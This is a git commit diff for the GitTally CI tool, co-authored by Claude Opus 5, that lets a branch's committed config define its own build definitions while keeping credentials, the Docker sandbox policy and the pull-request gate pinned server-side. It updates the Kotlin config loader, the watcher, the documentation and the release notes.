The branch config takes precedence, including its build definitions
A branch's committed .gittally.yml describes that branch's CI, so it wins over the project and repo-install config — the `builds` section included. Pinning it was wrong: a new build definition can only be tried out by committing it on a branch, and pinned it neither took effect at build time nor existed for the watcher, so the job silently never ran. The watcher now decides per branch from that branch's own definitions, reading its committed config via `git show` and caching it by head commit, so the read happens only when the branch moved; an unreadable config falls back to the primary definitions instead of failing the poll cycle. A branch's definitions are evaluated for that branch alone, so a definition committed on one branch can never trigger builds of another. The pinned set is reduced to what does not describe this branch's build: secrets (`git`), the host and repository sections (`server`, `gitea`, `executor`, `watcher`), the sandbox policy (`docker.enabled`/`network`), and the trust gate (`requirePullRequest`). Letting a branch set its own build command through a definition grants no new power — `branches.*. buildCommand` always allowed exactly that — while the sandbox and the gate decide whether untrusted branch code runs on the host at all. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
mhoennig
co-authored by
Claude Opus 5
Claude Opus 5
parent
a3faa172f8
commit
f5871a0442
@@ -44,6 +44,8 @@ GitTally is configured by two YAML files, deep-merged by `ConfigLoader` (later w
|
||||
1. `.gittally.yml` at the repo root — committed, shared team settings.
|
||||
2. `.git/gittally/.gittally.yml` — not committed; machine-specific overrides and secrets (`git.account`, `git.token`).
|
||||
|
||||
On top of those comes the **branch layer**: the `.gittally.yml` committed on a branch, applied by `loadWithBranchLayer` (the watcher passes the content read via `git show`, `loadForWorktree` the file in the build worktree). A branch describes its own CI and wins over both layers — build settings and the whole `builds` section — so a configuration can be tried out on a branch without touching other branches' builds. `stripPinned` removes what is not a description of this branch's build: `git`, `server`, `gitea`, `executor`, `watcher`, the per-branch `requirePullRequest`, and `docker.enabled`/`docker.network`.
|
||||
|
||||
After merging, `branches.default` is merged into every other named branch entry as its fallback, then the result is bound to the `GitTallyConfig` data classes (`config/GitTallyConfig.kt`), which define the schema and all defaults.
|
||||
|
||||
Three places must stay in sync when config keys change: the `GitTallyConfig` data classes, the commented templates generated by `InitCommand`, and the reference in `docs/configuration.md`.
|
||||
@@ -54,7 +56,7 @@ Three places must stay in sync when config keys change: the `GitTallyConfig` dat
|
||||
|
||||
## Build Execution
|
||||
|
||||
`BuildExecutor` runs builds asynchronously: up to `executor.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/<branchKey>` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section (pinned against the worktree layer, like the `executor` section holding `executor.maxConcurrent`) defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `<branch>@<build>` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build.
|
||||
`BuildExecutor` runs builds asynchronously: up to `executor.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/<branchKey>` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. Definitions are part of the branch layer — a branch may add and override its own, and they apply to that branch alone (its selectors are evaluated for it only) — while `executor.maxConcurrent` stays pinned. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `<branch>@<build>` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build.
|
||||
|
||||
On context close (e.g. systemd SIGTERM), a `ContextClosedEvent` listener in `BuildExecutor` terminates the process trees of all executing builds and waits (bounded) until their results are persisted as INTERRUPTED — a shutdown is never recorded as FAILED. Builds still queued stay PENDING and start no process. Both are re-enqueued by the watcher's startup recovery; INTERRUPTED therefore publishes as Gitea state `pending`, not `failure` (`GiteaStateMapping`).
|
||||
|
||||
@@ -62,7 +64,7 @@ The runtime is selected per branch behind the `BuildRunner` interface: `Dispatch
|
||||
|
||||
## Watcher
|
||||
|
||||
`Watcher` replaces the legacy blocking main loop with a non-blocking fixed-delay poll cycle: fetch origin, enqueue due branches (changed local, recent new origin, due auto-build slots) via `BuildExecutor`, then prune results, artifacts, and stale worktrees. Branches with `branches.<name>.requirePullRequest` are enqueued only while their head commit matches a pull-request head, detected without an API token by listing `refs/pull/*/head` via `git ls-remote` (lazily, at most once per poll cycle); manual `build` commands bypass this gate, and `watcher.pullRequestGate: false` disables it globally for plain-git origins without pull-request refs. Nothing is scheduled until `Watcher.start()` is called explicitly (server/watch mode) — CLI commands and tests never start the loop. "Already built" is tracked via the result repository, not by moving local branch refs.
|
||||
`Watcher` replaces the legacy blocking main loop with a non-blocking fixed-delay poll cycle: fetch origin, enqueue due branches (changed local, recent new origin, due auto-build slots) via `BuildExecutor`, then prune results, artifacts, and stale worktrees. Branches with `branches.<name>.requirePullRequest` are enqueued only while their head commit matches a pull-request head, detected without an API token by listing `refs/pull/*/head` via `git ls-remote` (lazily, at most once per poll cycle); manual `build` commands bypass this gate, and `watcher.pullRequestGate: false` disables it globally for plain-git origins without pull-request refs. Which builds are due is decided per branch from that branch's own definitions (`definitionsFor`): the primary config with the branch's committed `.gittally.yml` merged on top, cached per branch by its head commit so the `git show` runs only when the branch moved, and falling back to the primary definitions when that config is unreadable. Nothing is scheduled until `Watcher.start()` is called explicitly (server/watch mode) — CLI commands and tests never start the loop. "Already built" is tracked via the result repository, not by moving local branch refs.
|
||||
After the enqueue decision — and only after it, because a local ref lagging behind origin *is* the change signal — the cycle fast-forwards the primary checkout's local branch refs to their origin counterparts (`watcher.fastForwardLocalRefs`, `GitService.fastForwardLocalBranches`), so build tools reading the shared `.git` from a worktree see the refs they expect; diverged or ahead branches are never touched. Auto-build slot state lives in `.git/gittally/auto-builds.json`; watcher health is exposed via `Watcher.state()`.
|
||||
|
||||
## System Metrics
|
||||
|
||||
@@ -38,7 +38,7 @@ All production code lives under `de.hoennig.gittally`, with sub-packages `comman
|
||||
- Nothing is scheduled during CLI runs or tests: the watcher poll loop and metrics sampling start only via an explicit `start()` in the `server` profile.
|
||||
- Builds run detached in worktrees under `.git/gittally/worktrees/<branchKey>`; the primary checkout is never used for builds; never assume a single running build.
|
||||
- When config keys change, three places must stay in sync: the `GitTallyConfig` data classes, the `InitCommand` templates, and `docs/configuration.md`.
|
||||
- Build config is layered via `ConfigLoader.loadForWorktree`: the build worktree's `.gittally.yml` overrides `.git`/project for build-specific keys, but the pinned set — secrets/server-side sections (`git`, `gitea`, `server`) and the docker sandbox policy (`docker.enabled`, `docker.network`) — is stripped from the worktree layer and always comes from `.git`/primary. A branch must never be able to disable its container, change its network, or reach credentials via its committed config.
|
||||
- A branch describes its own CI: its committed `.gittally.yml` is the branch layer (`ConfigLoader.loadWithBranchLayer`, used by the watcher per origin branch and by `loadForWorktree` at build time) and takes precedence over `.git`/project — including the whole `builds` section, so a new configuration can be tried out on a branch without affecting other branches. Only the pinned set is stripped from that layer: secrets (`git`), host/repository sections (`server`, `gitea`, `executor`, `watcher`), the docker sandbox policy (`docker.enabled`, `docker.network`), and the trust gate (`requirePullRequest`). A branch must never reach credentials, disable its container, change its network, raise global concurrency, or bypass its own pull-request gate; a branch's definitions apply to that branch alone.
|
||||
- Web UI: server-rendered Thymeleaf plus one hand-written `static/gittally.js` — no SPA framework, no frontend build pipeline; every fetch has a timeout and an explicit error badge; `UiFormats` and `gittally.js` must produce identical display formats.
|
||||
- Git and Docker access shells out to the CLIs (`GitCommandRunner`, `docker`) — no JGit, no Docker SDK.
|
||||
|
||||
|
||||
@@ -117,3 +117,9 @@ Top-level `builds` with `onPush`/`atTimes`, as specified above.
|
||||
|
||||
Follow-up (2026-08-28): mixing the execution key `maxConcurrent` into the `builds` section as a reserved key proved confusing — it is not a build definition.
|
||||
The concurrency limit moved to `executor.maxConcurrent` (a new section for execution settings), without a compatibility alias, so the `builds` section holds build definitions only.
|
||||
|
||||
Follow-up (2026-08-29): pinning the whole `builds` section against the branch layer was wrong and is reverted.
|
||||
A branch's committed `.gittally.yml` describes that branch's CI, and a new `builds` configuration can only be tried out by committing it on a branch — pinned, it was neither effective at build time nor visible to the watcher, so the job silently did not exist.
|
||||
The branch layer now carries `builds` too: the watcher reads each origin branch's committed config (`git show`, cached by head commit) to decide which of *that branch's* builds are due, and a branch's definitions are evaluated for that branch alone, so they can never trigger builds of another branch.
|
||||
The pinned set is reduced to what does not describe this branch's build: secrets (`git`), the host/repository sections (`server`, `gitea`, `executor`, `watcher`), the sandbox policy (`docker.enabled`/`docker.network`), and the trust gate (`requirePullRequest`).
|
||||
Letting a branch set its own `buildCommand` through a definition grants no new power — `branches.*.buildCommand` always allowed exactly that — whereas the sandbox and the gate decide whether untrusted branch code runs on the host at all, and therefore stay server-side.
|
||||
|
||||
+32
-18
@@ -8,29 +8,42 @@ GitTally is configured via YAML files. Settings are merged from several sources
|
||||
|--------------------------|----------------------------|------------------|----------------------------------------------|
|
||||
| Project config | `.gittally.yml` | Yes | Shared team settings |
|
||||
| Repo installation config | `.git/gittally/.gittally.yml` | No | Machine- or user-specific overrides, secrets |
|
||||
| Build worktree config | `.gittally.yml` of the built commit | Yes | Per-branch build settings (build layer only) |
|
||||
| Branch config | `.gittally.yml` committed on a branch | Yes | That branch's build settings and build definitions |
|
||||
|
||||
The repo install config (`.git/gittally/.gittally.yml`) wins on any key present in both files. Typically used to set `git.token` and `git.account` without committing them.
|
||||
|
||||
### Per-branch build settings from the worktree
|
||||
### The branch layer: a branch describes its own CI
|
||||
|
||||
When a branch builds, its build config is resolved with an extra layer: the `.gittally.yml`
|
||||
committed on the branch being built (read from its build worktree) overrides the two layers
|
||||
above, giving the precedence **worktree > repo install > project**. So a branch can change its
|
||||
own `buildCommand`, `cleanCommand`, `artifactDirs`, log file names, and
|
||||
`docker.image`/`dockerfile`/`context`/`env`.
|
||||
The `.gittally.yml` committed on a branch is applied as a third layer on top of the two
|
||||
above, giving the precedence **branch > repo install > project**. It takes precedence for
|
||||
everything that describes how this branch is built: `buildCommand`, `cleanCommand`,
|
||||
`artifactDirs`, log file names, `docker.image`/`dockerfile`/`context`/`env`, and the whole
|
||||
`builds` section — its own definitions and its overrides of the definitions from the
|
||||
project config. That is how a new configuration is tried out: change it on a branch, and
|
||||
no other branch's builds are affected.
|
||||
|
||||
This layer applies **only** to the build itself. A pinned set is always taken from the repo
|
||||
install/project config and can never be set from the worktree:
|
||||
The branch layer is used in both places where it matters: the watcher reads the committed
|
||||
config of each origin branch (via `git show`, only when the branch moved) to decide which
|
||||
of *its* builds are due, and the build itself resolves its settings from the worktree of
|
||||
the commit being built.
|
||||
|
||||
- secrets and server-side settings: the whole `git`, `gitea`, and `server` sections;
|
||||
- the whole `builds` (build definitions) and `executor` sections;
|
||||
- the container sandbox policy: `docker.enabled` and `docker.network`.
|
||||
A branch's definitions apply to that branch alone. Their selectors are evaluated for it
|
||||
only, so a definition committed on one branch can never trigger builds of another — even
|
||||
when its `branches` selector names one.
|
||||
|
||||
This keeps a branch from disabling its own build container, changing its network mode, or
|
||||
reaching credentials. Jobs and their triggers are server-side decisions made before a
|
||||
build worktree exists, so the deprecated `autoBuild` schedules are read from the repo
|
||||
install/project config as well.
|
||||
A pinned set is always taken from the repo install/project config, because none of it
|
||||
describes this branch's build:
|
||||
|
||||
- secrets: the whole `git` section;
|
||||
- host- and repository-side settings: the whole `server`, `gitea`, `executor`, and `watcher` sections;
|
||||
- the container sandbox policy: `docker.enabled` and `docker.network`;
|
||||
- the trust gate: `requirePullRequest`.
|
||||
|
||||
This keeps a branch from reaching credentials, reporting statuses to another repository,
|
||||
raising the global concurrency, disabling its own build container, changing its network
|
||||
mode, or bypassing its own pull-request gate. Everything else is the branch's to decide —
|
||||
it can already run any command through `buildCommand`.
|
||||
The deprecated `autoBuild` schedules are read from the repo install/project config only.
|
||||
|
||||
## Inspect the Effective Config
|
||||
|
||||
@@ -260,9 +273,10 @@ Both parts combine as an intersection.
|
||||
The `branches.<name>.requirePullRequest` gate stays a branch property and gates all watcher-triggered builds of that branch.
|
||||
|
||||
Overrides: `buildCommand`, `cleanCommand`, `artifactDirs`, `stdoutLog`/`stderrLog`, and the docker image keys (`image`, `dockerfile`, `context`, `env`).
|
||||
The effective settings of one build on one branch merge in this order: defaults → `branches.default` → `branches.<branch>` → the worktree's committed `.gittally.yml` → the build definition's overrides.
|
||||
A definition has no `docker.enabled`/`docker.network` and no `requirePullRequest` — those are pinned branch properties, see [the branch layer](#the-branch-layer-a-branch-describes-its-own-ci).
|
||||
The effective settings of one build on one branch merge in this order: defaults → `branches.default` → `branches.<branch>` → the branch's committed `.gittally.yml` → the build definition's overrides.
|
||||
Unset keys fall back; the definition wins last because it is the job.
|
||||
The `builds` and `executor` sections are pinned: they always come from the repo install/project config, and the `.gittally.yml` committed on a branch can neither define jobs nor change the concurrency.
|
||||
Definitions themselves are part of the branch layer: a branch may add its own and override those from the project config, for its own builds only.
|
||||
|
||||
The implicit `default` build (`onPush: true`, all branches) preserves the behavior without any definitions; defining other builds does not disable it, `builds.default.onPush: false` does.
|
||||
The `default` build records under the plain branch name; every other build records under `<branch>@<name>` with its own row in the branches view (sorted after its branch), its own `retentionPerBranch` count, latest status, and permanent latest-green artifact link.
|
||||
|
||||
@@ -156,6 +156,8 @@ class InitCommand(
|
||||
maxConcurrent: 1
|
||||
|
||||
# Named build definitions (jobs) over the branches; every key names a build.
|
||||
# A branch may add or override definitions in its own committed .gittally.yml —
|
||||
# they then apply to that branch alone, so a new job can be tried out on a branch.
|
||||
builds:
|
||||
# Example definition — triggers (onPush/atTimes), branch selector
|
||||
# (branches/activeWithin), and overrides of the branch settings:
|
||||
|
||||
@@ -23,28 +23,36 @@ class ConfigLoader {
|
||||
|
||||
/**
|
||||
* Config for building a branch in [worktreeDir]: the worktree's `.gittally.yml`
|
||||
* (the committed config of the branch being built) overrides the primary/`.git`
|
||||
* config, giving the precedence worktree > `.git` > project. So a branch controls
|
||||
* its own build settings (`buildCommand`, `cleanCommand`, `artifactDirs`,
|
||||
* `docker.image`/`env`, …).
|
||||
*
|
||||
* The [pinned][stripPinned] keys are the exception: secrets (`git`), `gitea`/`server`
|
||||
* settings, the whole `builds` section (job definitions and execution settings), and
|
||||
* the docker sandbox policy (`docker.enabled`/`docker.network`) always come from
|
||||
* `.git`/primary — a branch must never be able to disable its own container, change
|
||||
* its network mode, redefine jobs, or reach the credentials. They are stripped from
|
||||
* the worktree layer before it is merged, so a worktree cannot set them at all.
|
||||
*
|
||||
* With no worktree `.gittally.yml` this is identical to [load].
|
||||
* (the committed config of the branch being built) is applied as the branch layer,
|
||||
* see [loadWithBranchLayer]. With no worktree `.gittally.yml` this is identical
|
||||
* to [load].
|
||||
*/
|
||||
fun loadForWorktree(
|
||||
workingDir: Path,
|
||||
worktreeDir: Path,
|
||||
): GitTallyConfig {
|
||||
val primary = loadRaw(workingDir)
|
||||
val worktree = stripPinned(loadFile(worktreeDir.resolve(".gittally.yml").toFile()))
|
||||
return toConfig(deepMerge(primary, worktree))
|
||||
}
|
||||
): GitTallyConfig = toConfig(deepMerge(loadRaw(workingDir), stripPinned(loadFile(worktreeDir.resolve(".gittally.yml").toFile()))))
|
||||
|
||||
/**
|
||||
* The primary/`.git` config with the committed `.gittally.yml` of one branch
|
||||
* ([branchConfigYaml], null or blank for a branch without one) merged on top:
|
||||
* precedence branch > `.git` > project. A branch describes its own CI — build
|
||||
* settings (`buildCommand`, `cleanCommand`, `artifactDirs`, `docker.image`/`env`, …)
|
||||
* and its `builds` definitions — so a new configuration can be tried out on a
|
||||
* branch without touching any other branch's builds.
|
||||
*
|
||||
* The [pinned][stripPinned] keys are the exception, and they are exactly the ones
|
||||
* that are not a description of this branch's build: secrets (`git`), the host- and
|
||||
* repository-side sections (`server`, `gitea`, `executor`), the docker sandbox policy
|
||||
* (`docker.enabled`/`docker.network`), and the trust gate
|
||||
* (`requirePullRequest`, which decides whether the branch is built at all).
|
||||
* They are stripped from the branch layer before merging, so a branch can neither
|
||||
* escape its container, nor bypass its own pull-request gate, nor raise the global
|
||||
* concurrency, nor reach the credentials.
|
||||
*/
|
||||
fun loadWithBranchLayer(
|
||||
workingDir: Path,
|
||||
branchConfigYaml: String?,
|
||||
): GitTallyConfig = toConfig(deepMerge(loadRaw(workingDir), stripPinned(parseYaml(branchConfigYaml))))
|
||||
|
||||
private fun toConfig(raw: Map<String, Any?>): GitTallyConfig {
|
||||
val config =
|
||||
@@ -57,27 +65,33 @@ class ConfigLoader {
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes the keys a build worktree must never override: the secret/server-side
|
||||
* top-level sections and the per-branch docker sandbox policy. See [loadForWorktree].
|
||||
* Removes the keys a branch must never override: the secret and host-side top-level
|
||||
* sections, the per-branch trust gate, and the docker sandbox policy.
|
||||
* See [loadWithBranchLayer].
|
||||
*/
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun stripPinned(worktree: Map<String, Any?>): Map<String, Any?> {
|
||||
if (worktree.isEmpty()) {
|
||||
return worktree
|
||||
private fun stripPinned(branchLayer: Map<String, Any?>): Map<String, Any?> {
|
||||
if (branchLayer.isEmpty()) {
|
||||
return branchLayer
|
||||
}
|
||||
val result = worktree.toMutableMap()
|
||||
val result = branchLayer.toMutableMap()
|
||||
PINNED_TOP_LEVEL_KEYS.forEach { result.remove(it) }
|
||||
val branches = result["branches"] as? Map<String, Any?>
|
||||
if (branches != null) {
|
||||
result["branches"] =
|
||||
branches.mapValues { (_, value) ->
|
||||
val branch = value as? Map<String, Any?> ?: return@mapValues value
|
||||
val docker = branch["docker"] as? Map<String, Any?> ?: return@mapValues branch
|
||||
val strippedDocker = docker.toMutableMap().apply { PINNED_DOCKER_KEYS.forEach { remove(it) } }
|
||||
branch.toMutableMap().apply {
|
||||
if (strippedDocker.isEmpty()) remove("docker") else put("docker", strippedDocker)
|
||||
}
|
||||
}
|
||||
result["branches"] = branches.mapValues { (_, value) -> stripPinnedBranchKeys(value) }
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun stripPinnedBranchKeys(value: Any?): Any? {
|
||||
val branch = value as? Map<String, Any?> ?: return value
|
||||
val result = branch.toMutableMap()
|
||||
PINNED_BRANCH_KEYS.forEach { result.remove(it) }
|
||||
val docker = branch["docker"] as? Map<String, Any?>
|
||||
if (docker != null) {
|
||||
val strippedDocker = docker.toMutableMap().apply { PINNED_DOCKER_KEYS.forEach { remove(it) } }
|
||||
if (strippedDocker.isEmpty()) result.remove("docker") else result["docker"] = strippedDocker
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -107,6 +121,13 @@ class ConfigLoader {
|
||||
return yaml.readValue(file, Map::class.java) as Map<String, Any?>
|
||||
}
|
||||
|
||||
/** Parses a `.gittally.yml` read from git (not from disk); blank or null yields no layer. */
|
||||
private fun parseYaml(text: String?): Map<String, Any?> {
|
||||
if (text.isNullOrBlank()) return emptyMap()
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
return yaml.readValue(text, Map::class.java) as? Map<String, Any?> ?: emptyMap()
|
||||
}
|
||||
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun mergeBranchDefaults(raw: Map<String, Any?>): Map<String, Any?> {
|
||||
val branches = raw["branches"] as? Map<String, Any?> ?: return raw
|
||||
@@ -143,13 +164,23 @@ class ConfigLoader {
|
||||
|
||||
companion object {
|
||||
/**
|
||||
* Top-level sections a build worktree must never override: secrets, server-side
|
||||
* settings, the build definitions, and the concurrency limit (a branch must not
|
||||
* be able to redefine jobs or raise concurrency).
|
||||
* Top-level sections a branch must never override, because none of them describes
|
||||
* this branch's build: secrets (`git`), and the host- and repository-side settings
|
||||
* (`server`, `gitea`, `executor`, `watcher`) — a branch must not be able to reach
|
||||
* the credentials, report statuses to another repository, raise the global
|
||||
* concurrency, or turn off the pull-request gate for the whole watcher.
|
||||
* The `builds` section is deliberately *not* pinned: it describes what the branch
|
||||
* builds, and a branch can already run any command via `branches.*.buildCommand`.
|
||||
*/
|
||||
private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds", "executor")
|
||||
private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "executor", "watcher")
|
||||
|
||||
/** Per-branch `docker` keys the worktree must never override: the sandbox policy. */
|
||||
/**
|
||||
* Per-branch keys a branch must never override: the trust gate that decides
|
||||
* whether the watcher builds this branch at all.
|
||||
*/
|
||||
private val PINNED_BRANCH_KEYS = setOf("requirePullRequest")
|
||||
|
||||
/** Per-branch `docker` keys a branch must never override: the sandbox policy. */
|
||||
private val PINNED_DOCKER_KEYS = setOf("enabled", "network")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,6 +258,19 @@ class GitService(
|
||||
return if (result.isSuccess) result.stdout.trim() else null
|
||||
}
|
||||
|
||||
/**
|
||||
* The content of [path] as committed in [commit], or null when that commit has no
|
||||
* such file — used to read a branch's committed `.gittally.yml` without a worktree.
|
||||
*/
|
||||
fun showFileAtCommit(
|
||||
commit: String,
|
||||
path: String,
|
||||
workingDir: Path = Paths.get("."),
|
||||
): String? {
|
||||
val result = runner.run(listOf("git", "show", "$commit:$path"), workingDir)
|
||||
return if (result.isSuccess) result.stdout else null
|
||||
}
|
||||
|
||||
fun headCommit(workingDir: Path = Paths.get(".")): String =
|
||||
runner
|
||||
.runOrThrow(listOf("git", "rev-parse", "HEAD"), workingDir)
|
||||
|
||||
@@ -22,6 +22,7 @@ import java.time.Instant
|
||||
import java.time.LocalDate
|
||||
import java.time.LocalTime
|
||||
import java.time.ZoneOffset
|
||||
import java.util.concurrent.ConcurrentHashMap
|
||||
import java.util.concurrent.Executors
|
||||
import java.util.concurrent.ScheduledExecutorService
|
||||
import java.util.concurrent.TimeUnit
|
||||
@@ -54,6 +55,9 @@ class Watcher(
|
||||
@Volatile
|
||||
private var warnedDeprecatedAutoBuild = false
|
||||
|
||||
/** Build definitions per branch, cached by the branch's head commit — see [definitionsFor]. */
|
||||
private val branchDefinitions = ConcurrentHashMap<String, CachedDefinitions>()
|
||||
|
||||
fun state(): WatcherState = state
|
||||
|
||||
/**
|
||||
@@ -195,7 +199,8 @@ class Watcher(
|
||||
val pullRequestHeads = lazy { gitService.pullRequestHeads(workingDir) }
|
||||
// one for-each-ref per cycle at most, and only when a definition filters by activeWithin
|
||||
val headCommitTimes = lazy { gitService.originBranchCommitTimes(workingDir) }
|
||||
val definitions = config.effectiveBuildDefinitions()
|
||||
val heads = gitService.originBranchHeads(workingDir)
|
||||
branchDefinitions.keys.retainAll(originBranches)
|
||||
val changedLocal =
|
||||
gitService
|
||||
.localBranches(workingDir)
|
||||
@@ -203,15 +208,61 @@ class Watcher(
|
||||
val newOrigin =
|
||||
gitService.newOriginBranches(DurationParser.parse(config.watcher.newBranchMaxAge), workingDir)
|
||||
val changed = (changedLocal + newOrigin).distinct()
|
||||
for ((buildName, definition) in definitions.filterValues { it.onPush }) {
|
||||
for (branch in changed.filter { selects(definition, it, headCommitTimes) }) {
|
||||
startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName)
|
||||
for (branch in changed) {
|
||||
val onPush = definitionsFor(branch, heads[branch], workingDir).filterValues { it.onPush }
|
||||
for ((buildName, definition) in onPush) {
|
||||
if (selects(definition, branch, headCommitTimes)) {
|
||||
startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName)
|
||||
}
|
||||
}
|
||||
}
|
||||
enqueueScheduledBuilds(definitions, config, originBranches, pullRequestHeads, headCommitTimes, workingDir)
|
||||
enqueueScheduledBuilds(config, originBranches, heads, pullRequestHeads, headCommitTimes, workingDir)
|
||||
enqueueDeprecatedAutoBuilds(config, originBranches, pullRequestHeads, workingDir)
|
||||
}
|
||||
|
||||
/**
|
||||
* The build definitions that apply to [branch]: the primary configuration with the
|
||||
* branch's own committed `.gittally.yml` merged on top (the pinned keys stripped),
|
||||
* so a new `builds` configuration can be tried out on a branch without touching any
|
||||
* other branch's builds. A branch's definitions only ever apply to that branch —
|
||||
* their selectors are evaluated for it alone, so a definition committed on one branch
|
||||
* can never schedule builds of another.
|
||||
*
|
||||
* Cached per branch by its head commit, so the `git show` runs only when the branch
|
||||
* moved. An unreadable branch config falls back to the primary definitions instead of
|
||||
* failing the poll cycle.
|
||||
*/
|
||||
private fun definitionsFor(
|
||||
branch: String,
|
||||
headCommit: String?,
|
||||
workingDir: Path,
|
||||
): Map<String, BuildDefinition> {
|
||||
val commit = headCommit ?: return configLoader.load(workingDir).effectiveBuildDefinitions()
|
||||
branchDefinitions[branch]?.takeIf { it.commit == commit }?.let { return it.definitions }
|
||||
val definitions =
|
||||
try {
|
||||
configLoader
|
||||
.loadWithBranchLayer(workingDir, gitService.showFileAtCommit(commit, CONFIG_FILE, workingDir))
|
||||
.effectiveBuildDefinitions()
|
||||
} catch (e: Exception) {
|
||||
log.warn(
|
||||
"ignoring the committed {} of branch {} at {}: {}",
|
||||
CONFIG_FILE,
|
||||
branch,
|
||||
commit,
|
||||
e.message ?: e.javaClass.simpleName,
|
||||
)
|
||||
configLoader.load(workingDir).effectiveBuildDefinitions()
|
||||
}
|
||||
branchDefinitions[branch] = CachedDefinitions(commit, definitions)
|
||||
return definitions
|
||||
}
|
||||
|
||||
private class CachedDefinitions(
|
||||
val commit: String,
|
||||
val definitions: Map<String, BuildDefinition>,
|
||||
)
|
||||
|
||||
private fun selects(
|
||||
definition: BuildDefinition,
|
||||
branch: String,
|
||||
@@ -269,30 +320,30 @@ class Watcher(
|
||||
* the point of a scheduled build.
|
||||
*/
|
||||
private fun enqueueScheduledBuilds(
|
||||
definitions: Map<String, BuildDefinition>,
|
||||
config: GitTallyConfig,
|
||||
originBranches: Set<String>,
|
||||
heads: Map<String, String>,
|
||||
pullRequestHeads: Lazy<Set<String>>,
|
||||
headCommitTimes: Lazy<Map<String, Instant>>,
|
||||
workingDir: Path,
|
||||
) {
|
||||
val scheduled = definitions.filterValues { it.atTimes.isNotEmpty() }
|
||||
if (scheduled.isEmpty()) {
|
||||
return
|
||||
}
|
||||
val autoBuildState = FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE))
|
||||
val autoBuildState = lazy { FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE)) }
|
||||
val now = clock.instant()
|
||||
val today = LocalDate.ofInstant(now, ZoneOffset.UTC)
|
||||
val timeOfDay = LocalTime.ofInstant(now, ZoneOffset.UTC)
|
||||
for ((buildName, definition) in scheduled) {
|
||||
val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue
|
||||
for (branch in originBranches.filter { selects(definition, it, headCommitTimes) }) {
|
||||
for (branch in originBranches) {
|
||||
val scheduled = definitionsFor(branch, heads[branch], workingDir).filterValues { it.atTimes.isNotEmpty() }
|
||||
for ((buildName, definition) in scheduled) {
|
||||
if (!selects(definition, branch, headCommitTimes)) {
|
||||
continue
|
||||
}
|
||||
val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue
|
||||
val pool = BuildDefinition.poolName(branch, buildName)
|
||||
if (autoBuildState.isTriggered(pool, today, slot)) {
|
||||
if (autoBuildState.value.isTriggered(pool, today, slot)) {
|
||||
continue
|
||||
}
|
||||
if (startBuildIfDue(branch, allowSameCommit = true, config, pullRequestHeads, workingDir, buildName)) {
|
||||
autoBuildState.markTriggered(pool, today, slot)
|
||||
autoBuildState.value.markTriggered(pool, today, slot)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -395,5 +446,8 @@ class Watcher(
|
||||
companion object {
|
||||
/** Auto-build trigger state next to the build results (replaces legacy `auto-builds.tsv`). */
|
||||
const val AUTO_BUILDS_FILE = ".git/gittally/auto-builds.json"
|
||||
|
||||
/** The committed config read per branch for its build definitions. */
|
||||
const val CONFIG_FILE = ".gittally.yml"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,8 +7,19 @@
|
||||
<div th:replace="~{fragments :: nav(${view})}"></div>
|
||||
<div class="panel release-notes">
|
||||
|
||||
<h2>v0.9.15 <span class="muted">— 2026-08-28</span></h2>
|
||||
<h2>v0.9.15 <span class="muted">— 2026-08-29</span></h2>
|
||||
<ul>
|
||||
<li>The <code>.gittally.yml</code> committed on a branch now takes precedence for the
|
||||
<code>builds</code> section as well — a branch can define its own build definitions
|
||||
